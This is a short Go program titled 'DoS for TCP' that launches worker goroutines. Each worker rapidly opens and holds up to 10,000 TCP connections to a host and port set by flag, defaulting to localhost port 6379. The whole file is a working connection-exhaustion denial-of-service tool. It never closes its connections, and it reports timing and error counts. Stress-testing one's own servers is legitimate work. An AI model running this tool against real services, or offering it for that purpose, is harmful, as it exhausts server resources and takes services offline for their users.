DoS for TCP

tcpdos.go

package main

import (
	"bytes"
	"flag"
	"fmt"
	"net"
	"runtime"
	"strconv"
	"sync"
	"time"
)

var workerNum int
var host string
var port string

var wg sync.WaitGroup

const maxConn = 10000

func init() {
	flag.IntVar(&workerNum, "worker", 8, "Number of worker")
	flag.StringVar(&host, "host", "127.0.0.1", "Host for server")
	flag.StringVar(&port, "port", "6379", "Port for server")
	flag.Parse()
}

func getGoroutineID() uint64 {
	b := make([]byte, 64)
	b = b[:runtime.Stack(b, false)]
	b = bytes.TrimPrefix(b, []byte("goroutine "))
	b = b[:bytes.IndexByte(b, ' ')]
	n, _ := strconv.ParseUint(string(b), 10, 64)

	return n
}

func tcpDos() {
	var connSize int
	var connErr int
	//var conns map[int]net.Conn // fd : net.Conn

	startAt := time.Now().UnixNano()
	connCh := make(chan net.Conn)
	ticker := time.Tick(100 * time.Microsecond)

	for {
		if connSize >= maxConn {
			fmt.Printf("[%d] TIME:%f CONN:%d ERR:%d\n", getGoroutineID(), (float32)(time.Now().UnixNano()-startAt)/1000000000.0, connSize, connErr)
			wg.Done()
			break
		}

		select {
		case <-connCh:
			connSize++
		case <-ticker:
			go func() {
				conn, err := net.Dial("tcp", host+":"+port)
				if err != nil {
					connErr++
					// do we close connection?
				} else {
					connCh <- conn
				}
			}()
		}
	}
}

func main() {
	for i := 0; i < workerNum; i++ {
		wg.Add(1)
		go tcpDos()
	}
	wg.Wait()
}